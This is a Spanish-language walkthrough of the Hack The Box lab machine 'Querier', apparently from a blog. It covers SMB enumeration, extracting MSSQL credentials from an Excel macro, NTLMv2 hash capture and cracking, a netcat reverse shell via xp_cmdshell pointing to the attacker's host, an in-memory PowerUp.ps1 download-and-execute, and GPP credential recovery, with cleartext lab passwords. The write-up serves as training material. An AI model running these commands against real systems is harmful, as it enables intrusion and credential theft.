Introducción
Querier es una máquina Windows de dificultad media, que involucra acceso a mssql y escalada de privilegios en Windows. Utilizaremos un libro de Excel habilitado para macros desde un recurso compartido SMB abierto, y encontraremos las credenciales de la base de datos en las macros. Luego, utilizaremos esas credenciales para conectarnos al MSSQL del host como un usuario limitado, lo que me permitirá obtener un hash NTLMv2 con responder. Este hash me dará suficiente acceso a la base de datos para ejecutar comandos y obtener una shell.
En cuanto a la escalada de privilegios, ejecutaré PowerUp.ps1 para obtener credenciales de administrador desde un archivo GPP.
Enumeración
Enumeración de puertos
Comenzamos la resolución de la máquina Querier enumerando los servicios que tiene abiertos el sistema. Comenzamos por una enumeración rápida del sistema.
nmap -p- --open --min-rate 250 -Pn -n 10.10.10.125 --defeat-rst-ratelimit
Conociendo los servicios abiertos, vamos a realizar la enumeración profunda de estos servicios.
nmap -p135,139,445,1433,5985,47001 -Pn -n --min-rate 200 -sVC 10.10.10.125
Enumeración SMB
crackmapexec smb 10.10.10.125
smbclient -L ////10.10.10.125// -U ''
Vemos que el recurso compartido “report” es accesible. También, vemos que tenemos acceso de lectura a $IPC, lo cual puede ser útil para enumerar nombres de usuarios.
smbclient \\10.10.10.125\\Reports -U ''
Vemos un archivo xlsm. Vamos a descargarlo a nuestra máquina de ataque. Vamos a enumerar usuarios del sistema.
impacket-lookupsid anonymous@10.10.10.125
El archivo Currency Volume Report.xlsm es un Excel con funcionalidades macro. Para abrir este archivo vamos a utilizar una de las herramientas de la Suite oletools, olevba. Para instalar esta herramienta, ejecutaremos sudo pip3 install oletools
Dentro de la macro encontramos lo que parecen ser unas credenciales de lo que parece ser una base de datos MSSQL. El usuario “reporting” ya lo encontramos en la enumeración de usuarios anterior. Las credenciales son reporting:PcwTWTHRwryjc$c6.
Explotación
Vamos a conectarnos a la base de datos MS SQL.
impacket-mssqlclient 'reporting:PcwTWTHRwryjc$c6@10.10.10.125' -windows-auth
Ejecutamos la herramienta responder.
responder -I tun0
Y de nuevo en la conexión a MS SQL ejecutamos
Ahora deberemos recibir información en la ejecución del responder.
Obtenemos el hash para el usuario mssql-svc. El siguiente paso será descifrar este hash de contraseña.
hashcat -m 5600 mssql-svc /home/kali/rockyou.txt --force
Tras un momento, nos devuelve la contraseña del usuario mssql-svc:corporate568
Volvemos a conectarnos a la base de datos MS SQL, pero con las nuevas credenciales.
Volvemos a levantar la shell.
Y ya podremos ejecutar comandos
Vamos a cargar un binario nc64.exe en la máquina objetivo haciendo uso de un servidor SMB. Levantamos el servidor SMB
impacket-smbserver -smb2support a .
Ahora ejecutamos este comando en la máquina objetivo.
xp_cmdshell \\10.10.16.6\a\nc64.exe -e cmd.exe 10.10.16.6 443
Levantamos un oyente en el puerto 443
Ya tendremos acceso a la máquina objetivo con un usuario de bajos privilegios. Buscamos la flag user.txt
Elevación de privilegios
Vamos a comenzar enumerando con la herramienta PowerUp.ps1 posibles puntos de acceso al sistema. Para enviar esta herramienta a la máquina objetivo, levantamos un servidor HTTP con Python en nuestra máquina de ataque y posteriormente, ejecutamos de la siguiente manera en la máquina víctima.
powershell
IEX (New-Object Net.Webclient).downloadstring("http://10.10.16.4:8000/PowerUp.ps1")
invoke-allchecks
Tras ejecutar la herramienta, obtenemos el siguiente resultado.
Encontramos las credenciales de administrador almacenadas en el archivo XML de Preferencia de Directiva de Grupo (GPP). Ese archivo está cifrado con AES, pero la clave se filtró , por lo que PowerUp.ps1 puede descifrarlo.
Recordamos que en la máquina objetivo esta abierto el puerto 5985, vamos a tratar de iniciar sesión en la máquina objetivo aprovechando estas credenciales.
Las credenciales son Administrator:MyUnclesAreMarioAndLuigi!!1!
Conectamos utilizando la herramienta Evil-WinRM
evil-winrm -u administrator -p 'MyUnclesAreMarioAndLuigi!!1!' -i 10.10.10.125
Y ya tendríamos la máquina Querier de HTB.
No responses yet